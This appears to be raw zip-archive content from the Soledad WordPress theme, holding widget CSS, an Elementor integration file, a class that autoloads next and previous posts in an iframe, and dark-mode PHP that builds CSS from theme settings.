	.penci-cinfo-style-list .penci-cinfocontent {
		width: 100%;
		height: 100%;
		display: block;
		position: relative;
		transition: all 0.4s ease;
	}
	.penci-cinfo-style-list .penci-cinfocontent-inner {
		margin-left: 60px;
	}
	.penci-cinfo-style-list .penci-cinfoitem {
		display: inherit;
		position: relative;
		width: 100%;
		margin-bottom: 10px;
		padding: 10px;
		border-radius: 0;
	}
	.penci-cinfo-style-list .penci-cinfoitem.right {
		float: right;
	}
	.penci-cinfo-style-list .penci-cinfotitle {
		margin-bottom: 8px;
		text-align: left;
	}
	.penci-cinfo-style-list .penci-cinfodesc {
		text-align: left;
	}
	.penci-cinfo-style-list .penci-cinfoicon {
		position: absolute;
		width: 40px;
		height: 40px;
		font-size: 18px;
		overflow: hidden;
		border-radius: 50%;
		box-shadow: 0 5px 15px 0 var(--boxshadow-cl);
		transition: all 0.5s;
		cursor: pointer;
		color: var(--pcborder-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon:hover {
		box-shadow: 0 6px 13px 0 var(--boxshadow-acl);
		background-color: var(--pcaccent-cl);
		color: var(--pcbg-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon:hover svg {
		fill: var(--pcbg-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon svg,
	.penci-cinfo-style-list .penci-cinfoicon i {
		position: absolute;
		top: 50%;
		transform: translate(-50%, -50%);
		left: 50%;
	}
	.penci-cinfo-style-list .penci-cinfoicon svg {
		width: 1em;
		height: 1em;
		fill: var(--pcborder-cl);
	}
	.penci-cinfo-style-list .penci-cinfoicon.d-md-none {
		display: inherit;
	}
	.penci-cinfo-style-list .penci-cinfosub-circle {
		display: none;
	}
}PK     N\M    '  inc/elementor/assets/css/circlemenu.cssnu [        .penci-circle-menu-container {
	z-index: 99;
	position: relative;
	-webkit-transform: translate(
		0,
		0
	);
	transform: translate(
		0,
		0
	);
}
.penci-circle-menu-container .penci-cmenu-menu-icon {
	font-size: 14px;
}
.penci-circle-menu-container .penci-cmenu-menu-icon svg {
	width: 1em;
	height: 1em;
}
.penci-circle-menu li {
	background: #000;
	color: #fff;
	font-size: 25px;
}
.penci-circle-menu li.penci-cmenu-toggle-icon {
	display: block !important;
	width: 50px !important;
	height: 50px !important;
	text-align: center !important;
	line-height: 50px !important;
	position: relative !important;
	z-index: 1000 !important;
	border-radius: 50% !important;
	transition: all 500ms ease !important;
	vertical-align: middle;
	transform-origin: center;
	background: #1e87f0;
	color: #fff;
}
.penci-cmenu-item {
	display: flex;
	align-items: center;
	justify-content: center;
}
.penci-cmenu-icon {
	display: flex;
	justify-content: center;
	align-items: center;
}
.penci-circle-menu li a {
	text-decoration: none !important;
	color: #fff;
	width: 100%;
	height: 100%;
}
.penci-circle-menu li a svg {
	display: inline-block;
	width: 1em;
	height: 1em;
	fill: #fff;
}
.penci-circle-menu li a i {
	font-size: 12px;
}
.penci-circle-menu li span {
	display: inline-flex;
}
.penci-circle-menu:not(.circleMenu-closed) li {
	display: none;
}
.penci-circle-menu.circleMenu-open > li:first-child {
	transform: rotate(360deg);
	transform-origin: center;
}
PK     N\=Д-      inc/elementor/elementor.phpnu [        <?php
define( 'PENCI_ELEMENTOR_PATH', PENCI_SOLEDAD_DIR . '/inc/elementor/' );
define( 'PENCI_ELEMENTOR_URL', PENCI_SOLEDAD_URL . '/inc/elementor/' );

/**
 * Add a custom control to reorder columns
 */

use Elementor\Controls_Manager;

function penci_add_display_order_control( $el, $args ) {
	$el->add_responsive_control( 'sc_rce_display_order', [
		'label'       => esc_html__( 'Display Order', 'soledad' ),
		'type'        => Controls_Manager::NUMBER,
		'min'         => - 10,
		'max'         => 10,
		'step'        => 1,
		'render_type' => 'ui',
		'separator'   => 'before',
		'selectors'   => [
			'{{WRAPPER}}' => 'order:{{VALUE}} !important'
		]
	] );
}

add_action( 'elementor/element/common/_section_style/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );
add_action( 'elementor/element/column/layout/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );
add_action( 'elementor/element/section/section_layout/before_section_end', 'penci_add_display_order_control', PHP_INT_MAX, 2 );


if ( ! class_exists( 'Penci_Soledad_Elementor_Extension' ) ):
	final class Penci_Soledad_Elementor_Extension {
		private static $_instance = null;

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;
		}

		public function __construct() {
			require PENCI_ELEMENTOR_PATH . 'loader.php';
		}
	}

	Penci_Soledad_Elementor_Extension::instance();
endif;
PK     N\a /-  /-    inc/load_next_prev_posts.phpnu [        <?php
/*
 * Running autoload next/prev posts based on the settings from Customize > Single Posts
 * 
 */
class PENCI_SINGLE_LOAD_POSTS {
	
	function __construct() {
		/* Main hooks */
		add_action( 'wp', array( $this, 'posts_hook' ) );
		add_action( 'init', array( $this, 'comment_redirect' ), 5 );
	}


	/**
	 * posts_hook
	 */
	function posts_hook(){

		// Make sure on single posts & the option is enabled
		if( get_theme_mod( 'penci_loadnp_posts' ) && is_single() ){
			// Hook for the posts loads after scroll down and the current viewing posts
			if( function_exists( 'penci_is_single_npload' ) && penci_is_single_npload() ){
				$this->hooks_loads_posts();
			} else{
				$this->hooks_current_posts();
			}
		}
	}


	/**
	 * Current viewing post hooks
	 */
	function hooks_current_posts(){

		// Insert the iframe code after the post content
		add_action( 'penci_action_after_post_content', array( $this, 'get_previous_in_iframe' ), 100 );

		// Insert the iframe Js code at the footer after loading jQuery
		add_action( 'wp_footer', array( $this, 'enque_js_current_post' ), 99999 );

		// Custom body class in the Ajax loaded posts
		add_action('body_class', function( $classes ){
			$classes[] = 'penci-current-single-loadmore';
			return $classes;
		});
	}


	/**
	 * Enqueue js for current viewing post
	 */
	function enque_js_current_post(){
		?>
		<script type="text/javascript" src="<?php echo PENCI_SOLEDAD_URL; ?>/js/loadnp_current_posts.js"></script>
		<?php
	}


	/**
	 * Get the Iframe Code
	 */
	function get_previous_in_iframe(){

		$type = get_theme_mod( 'autoload_posts_type' ) ? get_theme_mod( 'autoload_posts_type' ) : 'prev';

		switch ( $type ) {
			case 'next':
				$prev_posts = $this->get_adjacent_post( false );
				break;
			case 'prev_cat':
				$prev_posts = $this->get_adjacent_post( true, true );
				break;
			case 'next_cat':
				$prev_posts = $this->get_adjacent_post( false, true );
				break;
			case 'prev_tag':
				$prev_posts = $this->get_adjacent_post( true, true, '', 'post_tag' );
				break;
			case 'next_tag':
				$prev_posts = $this->get_adjacent_post( false, true, '', 'post_tag' );
				break;
			default:
				$prev_posts = $this->get_adjacent_post();
		}

		if ( ! empty( $prev_posts ) ) {

			echo '
				<script>var PenciLoadNextPrevPosts = '. wp_json_encode( $prev_posts ) .';</script>
				<div id="penci-wrapper-single-loadmore">
					<div id="penci-wrapper-iframe-data">
					</div>
					<div class="penci-single-loadmore-anim"><div class="penci-loadmore-horizontal">Loading...</div></div>
				</div>
			';
		}
	}


	/**
	 * Load more posts iframe
	 */
	function hooks_loads_posts(){

		// Remove admin bar
		add_filter('show_admin_bar', '__return_false');

		// Remove header & footer
		add_filter( 'penci_filter_hide_header', function(){ return true; } );
		add_filter( 'penci_filter_hide_footer', function(){ return true; } );

		// Modify header and footer of next/prev posts
		add_action( 'wp_head', array( $this, 'loads_posts_header' ), 200 );
		add_action( 'wp_footer', array( $this, 'loads_posts_footer' ), 2 );

		// Add custom body class for loaded posts
		add_action( 'body_class', array( $this, 'loads_posts_bodyclass' ) );
		
		// Add custom class for the main post div, same class will be used for the iframe
		add_action('penci_post_class', function( $return ){
			$return .= ' penci-postclass-loadmore';
			echo $return;
		} );

		// Hook for SEO plugins - Yoast & Rank Math
		add_filter( 'wpseo_frontend_presenter_classes', array( $this, 'yoast_seo_remove_tags' ) );
		add_filter( 'rank_math/frontend/robots', array( $this, 'rank_math_remove_tags' ) );

		// Hook to before & after wp_footer and hide all elements inside it excerpt script & link tags
		add_action( 'wp_footer', function(){
			echo '
				<style>
					html body + *:not(script):not(link),
					html body ~ *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer + *:not(script):not(link),
					html body div#penci-iframe-loadnp-footer ~ *:not(script):not(link){
						display: none !important;
						visibility: hidden !important;
						z-index: -1 !important;
						opacity: 0 !important;
						height: 0 !important;
						width: 0!important;
					}
				</style>
			';
			echo '<div id="penci-iframe-loadnp-footer">';
		}, 0 );

		add_action( 'wp_footer', function(){
			echo '</div>';
		}, 10000000000 );

	}


	/**
	 * Actions for <head> tag of next/prev posts
	 */
	function loads_posts_header(){
		// Stop index for loaded iframe
		echo '<meta name="robots" content="noindex, nofollow" />';

		// Enqueue js for loaded posts iframe
		echo '<script type="text/javascript" src="'. PENCI_SOLEDAD_URL . '/js/loadnp_next_posts.js"></script>';

		// CSS
		$css_codes = apply_filters( 'penci_css_loaded_posts', '
			html{
				overflow: hidden !important;
			}
			html, body{
				background: transparent !important;
				padding: 0 !important;
				margin 0 !important;
			}
			.penci-rlt-popup, .penci-wrap-gprd-law{
				display: none !important;
			}
			.fb-comments > span {
				display: block !important;
			}
			.fb-comments > span iframe{
				width: 100% !important;
			}
		');

		if( ! empty( $css_codes ) ){
			echo '<style>'.  $css_codes .'</style>';
		}
	}


	/**
	 * Add custom code before close </body> tag for loaded posts
	 */
	function loads_posts_footer(){
		
		$data = '<script>
			var link = document.getElementsByTagName("a");
			var i;
			for (i = 0; i < link.length; i++) {

				if( link[i].href !== "#" && "undefined" !== typeof link[i].target ){
					link[i].setAttribute("target", "_parent")
				}
			}

			var iFrameResizer = {
				onMessage: function(message) {
					alert(message, parentIFrame.getId())
				},
				onReady: function() {
					parentIFrame.sendMessage( \'{ "id": "readytoLoad" }\' );
				}
			}

			// Listen to parent
			window.addEventListener("message", handleParentMessage, false);
			function handleParentMessage(e) {
				if( e.data && typeof e.data === "object" ){
			    html = document.getElementsByTagName("html")[0].classList;
					if( "undefined" !== typeof e.data.addClass ) {
						var Classes = e.data.addClass.split(" ");
						for (i = 0; i < Classes.length; i++) {
							if( Classes[i] ){
								html.add( Classes[i] );
							}
						}
					}
					if( "undefined" !== typeof e.data.removeClass ) {
						var Classes = e.data.removeClass.split(" ");
						for (i = 0; i < Classes.length; i++) {
							if( Classes[i] ){
								html.remove( Classes[i] );
							}
						}
					}
				}
			}
		</script>';

		echo $data;
	}


	/**
	 * Custom Class in the Ajax Loaded Posts
	 */
	function loads_posts_bodyclass( $classes ){

		$classes[] = 'penci-single-loaded-posts';

		return $classes;
	}


	/**
	 * Disable all meta tags from Yoast SEO for load posts - more information: https://developer.yoast.com/customization/apis/metadata-api/
	 */
	function yoast_seo_remove_tags( $presenters ){

		if( is_array( $presenters ) && ! empty( $presenters ) ){

			$prefix = 'Yoast\WP\SEO\Presenters';

			$removed_tags = array(
				'\Robots_Presenter',
				'\Googlebot_Presenter',
				'\Bingbot_Presenter',
			);

			foreach ( $presenters as $key => $val ) {
				$presenter = str_replace( $prefix, '', $val );
				if( in_array( $presenter, $removed_tags ) ){
					unset( $presenters[ $key ] );
				}
			}
		}

		return $presenters;
	}

	/**
	 * Disable index, follow from Rank Math plugin
	 */
	function rank_math_remove_tags( $tags ) {
		$tags['index']  = 'noindex';
		$tags['follow'] = 'nofollow';

		return $tags;
	}
	
	/**
	 * Modify the get_adjacent_post function to get the data of load next/prev posts - original function: https://developer.wordpress.org/reference/functions/get_adjacent_post/
	 */
	function get_adjacent_post( $previous = true, $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
		global $wpdb;

		$post = get_post();
		if ( ! $post || ! taxonomy_exists( $taxonomy ) ) {
			return null;
		}

		$current_post_date = $post->post_date;

		$join     = '';
		$where    = '';
		$adjacent = $previous ? 'previous' : 'next';

		if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) {
			$excluded_terms = explode( ',', $excluded_terms );
			$excluded_terms = array_map( 'intval', $excluded_terms );
		}

		if ( $in_same_term || ! empty( $excluded_terms ) ) {
			if ( $in_same_term ) {
				$join  .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
				$where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy );

				if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) {
					return '';
				}
				$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );

				// Remove any exclusions from the term array to include.
				$term_array = array_diff( $term_array, (array) $excluded_terms );
				$term_array = array_map( 'intval', $term_array );

				if ( ! $term_array || is_wp_error( $term_array ) ) {
					return '';
				}

				$where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')';
			}

			if ( ! empty( $excluded_terms ) ) {
				$where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )';
			}
		}

		// Only Published posts
		$where .= " AND p.post_status = 'publish'";

		$op    = $previous ? '<' : '>';
		$order = $previous ? 'DESC' : 'ASC';
		$limit = get_theme_mod( 'penci_loadnp_number') ? get_theme_mod( 'penci_loadnp_number') : 4;

		$where = $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type );

		$query     = "SELECT DISTINCT ID, post_author, post_date, post_date_gmt, post_title, post_type, post_status, post_name, guid FROM $wpdb->posts AS p $join $where ORDER BY p.post_date $order LIMIT $limit";
		$query_key = 'autoload_posts_' . md5( $query );
		$result    = wp_cache_get( $query_key, 'counts' );

		if ( false === $result ) {

			$result = $wpdb->get_results( $query );

			if ( null === $result ) {
				$result = '';
			}

			wp_cache_set( $query_key, $result, 'counts' );
		}

		$loaddata = array();

		if( ! empty( $result ) || is_array( $result ) ){
			foreach ( $result as $postdata ) {
				
				// Permalinks
				$post_url = get_permalink( $postdata );

				// Change the edit URL, 
				$post_type_object = get_post_type_object( $postdata->post_type );
				$edit_url = admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=edit', $postdata->ID ) );

				$loaddata[] = array(
					'id'       => $postdata->ID,
					'url'      => $post_url,
					'edit_url' => $edit_url,
					'title'    => get_the_title( $postdata ),
					'src'      => add_query_arg( 'penci-sload-ajax', '1', $post_url ),
				);

			}

			return $loaddata;
		}

		return false;
	}
	
	/**
	 * Comment redirect
	 */
	function comment_redirect(){
		if( get_theme_mod( 'penci_loadnp_posts' ) && is_single() ){
			add_filter( 'comment_post_redirect', array( $this, 'comment_redirect_hook' ) );
		}
	}

	/**
	 * Add parameter ?penci-sload-ajax to the comment URL to refresh page after someone commented.
	 */
	function comment_redirect_hook( $url ){

		if ( strpos( $_SERVER["HTTP_REFERER"], 'penci-sload-ajax' ) !== false ) {
			$url = add_query_arg( 'penci-sload-ajax', 'true', $url );
		}

		return $url;
	}

}

new PENCI_SINGLE_LOAD_POSTS();PK     N\g.4u  u    inc/darkmode.phpnu [        <?php
if ( ! function_exists( 'penci_dm_button' ) ) {
	function penci_dm_button( $style = 1, $customizer = true ) {

		if ( ! get_theme_mod( 'penci_dms_enable' ) ) {
			return false;
		}

		if ( $customizer ) {
			$style = get_theme_mod( 'penci_dms_style', '3' );
		}

		return '<div class="pc_dm_mode style_' . $style . '">
						<label class="pc_dm_switch">
							<input type="checkbox" class="pc_dark_mode_toggle" aria-label="Darkmode Switcher">
							<span class="slider round"></span>
						</label>
					</div>';
	}
}

if ( ! function_exists( 'penci_render_dark_style' ) ) {
	add_action( 'wp_enqueue_scripts', 'penci_render_dark_style' );
	function penci_render_dark_style() {
		wp_register_style( 'penci-dark-style', PENCI_SOLEDAD_URL . '/dark.min.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-dark', PENCI_SOLEDAD_URL . '/js/darkmode.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION );
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			wp_enqueue_style( 'penci-dark-style' );
			wp_enqueue_script( 'penci-dark' );
			wp_localize_script(
				'penci-dark',
				'penci_dark',
				array(
					'auto_by'   => (bool) get_theme_mod( 'penci_dms_auto_by' ),
					'darktheme' => (bool) get_theme_mod( 'penci_enable_dark_layout' ),
					'darkmode'  => (bool) get_theme_mod( 'penci_dms_dark_default' ),
				)
			);
		}
	}
}

if ( ! function_exists( 'penci_render_dmcheck' ) ) {
	add_action( 'wp_footer', 'penci_render_dmcheck', 10 );
	function penci_render_dmcheck() {
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			echo '<script id="penci-dm-checking" type="text/javascript">';
			echo file_get_contents( PENCI_SOLEDAD_DIR . '/js/darkmode-loading.js' );
			echo '</script>';
		}
	}
}

if ( ! function_exists( 'penci_dm_header_content' ) ) {

	add_action( 'penci_top_search', 'penci_dm_header_content' );

	function penci_dm_header_content() {
		echo penci_dm_button();
	}
}

if ( ! function_exists( 'penci_adjust_hexcolor' ) ) {
	function penci_adjust_hexcolor( $hexCode, $adjustPercent ) {
		$hexCode = ltrim( $hexCode, '#' );

		if ( strlen( $hexCode ) == 3 ) {
			$hexCode = $hexCode[0] . $hexCode[0] . $hexCode[1] . $hexCode[1] . $hexCode[2] . $hexCode[2];
		}

		$hexCode = array_map( 'hexdec', str_split( $hexCode, 2 ) );

		foreach ( $hexCode as & $color ) {
			$adjustableLimit = $adjustPercent < 0 ? $color : 255 - $color;
			$adjustAmount    = ceil( $adjustableLimit * $adjustPercent );

			$color = str_pad( dechex( $color + $adjustAmount ), 2, '0', STR_PAD_LEFT );
		}

		return '#' . implode( $hexCode );
	}
}
if ( ! function_exists( 'penci_darkmode_css' ) ) {
	add_action( 'soledad_theme/custom_dark_css', 'penci_darkmode_css' );
	function penci_darkmode_css() {
		$bgdark         = get_theme_mod( 'penci_dm_bg_color_dark' ) ? get_theme_mod( 'penci_dm_bg_color_dark' ) : '#000000';
		$bgdark_lighten = penci_adjust_hexcolor( $bgdark, 0.1 );
		$bgdark_darker  = penci_adjust_hexcolor( $bgdark, - 0.1 );
		$accent_dark    = get_theme_mod( 'penci_accent_color_dark', get_theme_mod( 'penci_color_accent', '#6eb48c' ) );
		$link           = get_theme_mod( 'penci_link_color_dark', '#fff' );
		$linkh          = get_theme_mod( 'penci_link_hcolor_dark', $accent_dark );
		$text           = get_theme_mod( 'penci_dm_text_color_dark', '#fff' );
		$meta           = get_theme_mod( 'penci_dm_meta_color_dark', '#999999' );
		$border         = get_theme_mod( 'penci_dm_border_color_dark', '#313131' );
		$heading        = get_theme_mod( 'penci_heading_color_dark', 'rgba(255,255,255,0.9)' );
		$smborder       = penci_adjust_hexcolor( $border, 0.05 );

		// customizer style button
		$btn_bg_color  = get_theme_mod( 'penci_dm_bg_color', 'rgba(0, 0, 0, .1)' );
		$btn_d_color   = get_theme_mod( 'penci_dm_d_color', '#666' );
		$btn_dbg_color = get_theme_mod( 'penci_dm_d_bgcolor', '#fff' );
		$btn_n_color   = get_theme_mod( 'penci_dm_n_color', 'var(--pctext-cl)' );
		$btn_nbg_color = get_theme_mod( 'penci_dm_n_bgcolor', 'var(--pcbg-cl)' );
		?>
		body {
		--pcdm_btnbg: <?php echo $btn_bg_color; ?>;
		--pcdm_btnd: <?php echo $btn_d_color; ?>;
		--pcdm_btndbg: <?php echo $btn_dbg_color; ?>;
		--pcdm_btnn: <?php echo $btn_n_color; ?>;
		--pcdm_btnnbg: <?php echo $btn_nbg_color; ?>;
		}
		body.pcdm-enable {
		--pcbg-cl: <?php echo $bgdark; ?>;
		--pcbg-l-cl: <?php echo $bgdark_lighten; ?>;
		--pcbg-d-cl: <?php echo $bgdark_darker; ?>;
		--pctext-cl: <?php echo $text; ?>;
		--pcborder-cl: <?php echo $border; ?>;
		--pcborders-cl: <?php echo $smborder; ?>;
		--pcheading-cl: <?php echo $heading; ?>;
		--pcmeta-cl: <?php echo $meta; ?>;
		--pcl-cl: <?php echo $link; ?>;
		--pclh-cl: <?php echo $linkh; ?>;
		--pcaccent-cl: <?php echo $accent_dark; ?>;
		background-color: var(--pcbg-cl);
		color: var(--pctext-cl);
		}
		body.pcdark-df.pcdm-enable.pclight-mode {
		--pcbg-cl: #fff;
		--pctext-cl: #313131;
		--pcborder-cl: #dedede;
		--pcheading-cl: #313131;
		--pcmeta-cl: #888888;
		--pcaccent-cl: <?php echo $accent_dark; ?>;
		}
		<?php
		// Color single
		$single_style = penci_get_single_style();
		if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
			$single_color_title    = get_theme_mod( 'penci_single_color_title_s568' );
			$single_color_subtitle = get_theme_mod( 'penci_single_color_subtitle_s568' );
			$single_color_cat      = get_theme_mod( 'penci_single_color_cat_s568' );
			$single_color_meta     = get_theme_mod( 'penci_single_color_meta_s568' );
			if ( $single_color_title && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .single-header .post-title { color: var(--pctext-cl); } }';
			}
			if ( $single_color_subtitle && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .single-header .penci-psub-title{ color: var(--pctext-cl); } }';
			}
			if ( $single_color_cat && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .penci-single-cat .cat > a.penci-cat-name { color: var(--pctext-cl); } }';
			}
			if ( $single_color_meta && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){';
				echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .post-box-meta-single span,';
				echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a{ color: var(--pctext-cl); }';
				echo '}';
				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a:hover{ color: var(--pctext-cl); }';
				}
			}
		}
		if ( 'style-10' == $single_style ) {
			if ( get_theme_mod( 'penci_single_color_bread_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb i,body.pcdm-enable .penci-single-style-10  .container.penci-breadcrumb i,
				body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb a,';
				echo 'body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb span{ color: var(--pctext-cl) }';
			}
			if ( get_theme_mod( 'penci_single_color_title_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .post-title,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard h2 a';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .pc_titlebig_standard a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_title_s10' ) . ' }';
			}
			if ( get_theme_mod( 'penci_single_color_subtitle_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title{ color: var(--pctext-cl) }';
			}
			if ( get_theme_mod( 'penci_single_color_cat_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .penci-standard-cat  .cat > a.penci-cat-name { color: var(--pctext-cl); }';
			}
			if ( get_theme_mod( 'penci_single_color_meta_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .post-box-meta-single span,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .author-post span a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_meta_s10' ) . ' }';
				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .author-post span a:hover{ color: var(--pctext-cl); }';
				}
			}
		}
		$bquote_text_color   = get_theme_mod( 'penci_bquote_text_color' );
		$bquote_author_color = get_theme_mod( 'penci_bquote_author_color' );
		$bquote_bgcolor      = get_theme_mod( 'penci_bquote_bgcolor' );
		$bquote_border_color = get_theme_mod( 'penci_bquote_border_color' );
		if ( $bquote_text_color ) {
			echo 'body.pcdm-enable .post-entry blockquote, body.pcdm-enable .post-entry blockquote p, body.pcdm-enable .wpb_text_column blockquote, body.pcdm-enable .wpb_text_column blockquote p{ color: var(--pctext-cl) }';
		}
		if ( $bquote_author_color ) {
			echo 'body.pcdm-enable .post-entry blockquote cite, body.pcdm-enable .post-entry blockquote .author, body.pcdm-enable .wpb_text_column blockquote cite, body.pcdm-enable .wpb_text_column blockquote .author, body.pcdm-enable.woocommerce .page-description blockquote cite, body.pcdm-enable.woocommerce .page-description blockquote .author{ color: var(--pctext-cl) }';
			echo 'body.pcdm-enable .post-entry blockquote .author span:after, body.pcdm-enable .wpb_text_column blockquote .author span:after, body.pcdm-enable.woocommerce .page-description blockquote .author span:after{ background-color:var(--pcbg-cl) }';
		}
		if ( $bquote_bgcolor ) {
			echo 'body.pcdm-enable .post-entry.blockquote-style-2 blockquote{ background-color: var(--pcbg-cl) }';
		}
		if ( $bquote_border_color ) {
			echo 'body.pcdm-enable .post-entry.blockquote-style-2 blockquote:before{ background-color: var(--pcbg-cl) }';
			echo 'body.pcdm-enable .post-entry blockquote::before, body.pcdm-enable .wpb_text_column blockquote::before, body.pcdm-enable.woocommerce .page-description blockquote:before{ color: var(--pctext-cl) }';
		}
		if ( get_theme_mod( 'penci_menu_hbg_show' ) || get_theme_mod( 'penci_vertical_nav_show' ) || get_theme_mod( 'pchdbd_all' ) || get_theme_mod( 'pchdbd_homepage' ) || get_theme_mod( 'pchdbd_archive' ) || get_theme_mod( 'pchdbd_post' ) || get_theme_mod( 'pchdbd_page' ) || get_theme_mod( 'pchdbd_woocommerce' ) ) :
			$mhbg_icon_toggle_color  = get_theme_mod( 'penci_mhbg_icon_toggle_color' );
			$mhbg_icon_toggle_hcolor = get_theme_mod( 'penci_mhbg_icon_toggle_hcolor' );
			$penci_mhbg_mobilecl     = get_theme_mod( 'penci_mhbg_mobilecl' );
			$penci_mhbg_mobilebgcl   = get_theme_mod( 'penci_mhbg_mobilebgcl' );
			if ( $penci_mhbg_mobilebgcl ) {
				echo 'body.pcdm-enable .penci-vernav-toggle:before{border-top-color:var(--pcborder-cl);}';
			}
			if ( $penci_mhbg_mobilecl ) {
				echo 'body.pcdm-enable .penci-vernav-toggle svg{fill:var(--pctext-cl)}';
			}
			if ( $mhbg_icon_toggle_color ) {
				echo 'body.pcdm-enable .penci-menuhbg-toggle .lines-button:after,body.pcdm-enable .penci-menuhbg-toggle .penci-lines:before, body.pcdm-enable .penci-menuhbg-toggle .penci-lines:after{ background-color: var(--pcbg-cl) }';
			}
			if ( $mhbg_icon_toggle_hcolor ) {
				echo 'body.pcdm-enable .penci-menuhbg-toggle:hover .lines-button:after, body.pcdm-enable .penci-menuhbg-toggle:hover .penci-lines:before, body.pcdm-enable .penci-menuhbg-toggle:hover .penci-lines:after{ background-color: var(--pcbg-cl) }';
			}
			$mhbg_bgcolor            = get_theme_mod( 'penci_mhbg_bgcolor' );
			$mhbg_textcolor          = get_theme_mod( 'penci_mhbg_textcolor' );
			$mhbg_closecolor         = get_theme_mod( 'penci_mhbg_closecolor' );
			$mhbg_closehover         = get_theme_mod( 'penci_mhbg_closehover' );
			$mhbg_bordercolor        = get_theme_mod( 'penci_mhbg_bordercolor' );
			$mhbgtitle_color         = get_theme_mod( 'penci_mhbgtitle_color' );
			$mhbgdesc_hcolor         = get_theme_mod( 'penci_mhbgdesc_hcolor' );
			$mhbgsearch_border       = get_theme_mod( 'penci_mhbg_search_border' );
			$mhbgsearch_border_hover = get_theme_mod( 'penci_mhbg_search_border_hover' );
			$mhbgsearch_color        = get_theme_mod( 'penci_mhbg_search_color' );
			$mhbgsearch_icon         = get_theme_mod( 'penci_mhbg_search_icon' );
			$mhbgaccent_color        = get_theme_mod( 'penci_mhbgaccent_color' );
			$mhbgaccent_hover_color  = get_theme_mod( 'penci_mhbgaccent_hover_color' );
			$mhbgfooter_color        = get_theme_mod( 'penci_mhbgfooter_color' );
			$mhbgicon_color          = get_theme_mod( 'penci_mhbgicon_color' );
			$mhbgicon_hover_color    = get_theme_mod( 'penci_mhbgicon_hover_color' );
			$mhbgicon_border         = get_theme_mod( 'penci_mhbgicon_border' );
			$mhbgicon_border_hover   = get_theme_mod( 'penci_mhbgicon_border_hover' );
			$mhbgicon_bg             = get_theme_mod( 'penci_mhbgicon_bg' );
			$mhbgicon_bg_hover       = get_theme_mod( 'penci_mhbgicon_bg_hover' );
			if ( $mhbg_bgcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .widget-title{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_closecolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:before, body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:after{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_closehover ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:hover:before, body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:hover:after{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_textcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg,body.pcdm-enable .penci-menu-hbg .about-widget .about-me-heading,';
